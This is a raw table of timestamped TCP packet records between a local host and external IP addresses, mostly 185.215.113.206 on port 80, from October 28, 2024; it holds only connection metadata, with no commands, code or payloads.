Oct 28, 2024 18:43:36.097059965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097068071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097074986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097085953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097095013 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097098112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097103119 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097110033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097121000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097131014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097131014 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097145081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097148895 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097148895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097163916 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097166061 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097193956 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097230911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097249031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097270966 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097295046 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097307920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097321033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097332954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097342968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097354889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097368956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097377062 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097398043 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097409010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097423077 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097423077 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097440004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097445965 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097450018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097476959 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097505093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097536087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097546101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097593069 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097619057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097681999 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097692966 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097706079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097742081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097754002 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097781897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097793102 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.097821951 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.097832918 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.111370087 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.115230083 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.115240097 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.160918951 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.209450006 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209470034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209484100 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209503889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209508896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209516048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209536076 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209599972 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209611893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209630013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209649086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209654093 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209667921 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209676981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209686995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209700108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209726095 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209775925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209788084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209819078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209824085 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209839106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209856987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209861040 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209872961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209886074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209887028 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209898949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209913015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209916115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209935904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209935904 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209948063 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209959030 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209966898 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.209970951 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209989071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.209990025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210000992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210010052 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210016012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210019112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210026979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210031986 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210032940 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210046053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210057974 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210058928 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210081100 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210088015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210118055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210128069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210175037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210175037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.210182905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210195065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210207939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.210249901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.246237040 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.246469975 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.246560097 CET	63571	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.258366108 CET	63571	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.258409023 CET	443	63571	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.296545982 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.296576023 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.296646118 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.296650887 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.296761036 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.302675009 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.302700996 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.352461100 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.358248949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.361886978 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.361932993 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.361972094 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.362008095 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.362025023 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.362051964 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.362338066 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.362350941 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.362359047 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.362513065 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.362551928 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.362615108 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.423152924 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.423187971 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.423252106 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.423491955 CET	63588	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:36.423500061 CET	443	63588	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:36.489217043 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:36.489238977 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:36.489324093 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:36.489658117 CET	63590	443	192.168.2.5	23.101.168.44
Oct 28, 2024 18:43:36.489684105 CET	443	63590	23.101.168.44	192.168.2.5
Oct 28, 2024 18:43:36.639358997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639377117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639394999 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639416933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639430046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639436007 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639441013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639453888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639467001 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639481068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639491081 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639502048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639504910 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639518023 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639520884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639533997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639540911 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639544964 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639554977 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639590025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639753103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639764071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639774084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639786959 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639799118 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639806032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639816046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639816046 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639827967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639841080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639853954 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639877081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639935970 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639946938 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639981031 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.639981985 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.639991999 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640005112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640014887 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640026093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640027046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640038967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640049934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640049934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640060902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640079021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640081882 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640090942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640100002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640105963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640110970 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640120029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640124083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640136957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640147924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640149117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640161037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640172005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640180111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640208960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640212059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640224934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640235901 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640256882 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640271902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640284061 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640291929 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640294075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640306950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640309095 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640317917 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640330076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640346050 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640357971 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640364885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640367985 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640379906 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640391111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640393972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640398026 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640407085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640417099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640448093 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640476942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640487909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640500069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640511036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640515089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640522957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640539885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640547991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640561104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640571117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640571117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640582085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640587091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640604019 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640640020 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640645027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640676975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640677929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640691996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640707016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640717983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640717983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640726089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640729904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640746117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640755892 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640755892 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640759945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640772104 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640784025 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640786886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640794992 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640794039 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640810013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640815020 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640851974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640867949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640877962 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640888929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640901089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640902042 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640913010 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640923023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640929937 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640933037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640961885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640968084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640973091 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.640978098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.640990019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641000986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641011000 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641012907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641028881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641035080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641041994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641056061 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641057014 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641073942 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641108036 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641119957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641132116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641141891 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641154051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641166925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641171932 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641182899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641192913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641196012 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641206026 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641216993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641223907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641231060 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641233921 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641253948 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641275883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641299963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641311884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641321898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641333103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641344070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641345024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641355038 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641367912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641375065 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641386032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641396046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641398907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641407967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641421080 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641442060 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641464949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641477108 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641486883 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641499043 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641511917 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641525984 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641546965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641557932 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641582012 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641585112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641597033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641609907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641628981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.641645908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641657114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641666889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641679049 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:36.641680002 CET	63519	80	192.168.2.5	185.215.113.206
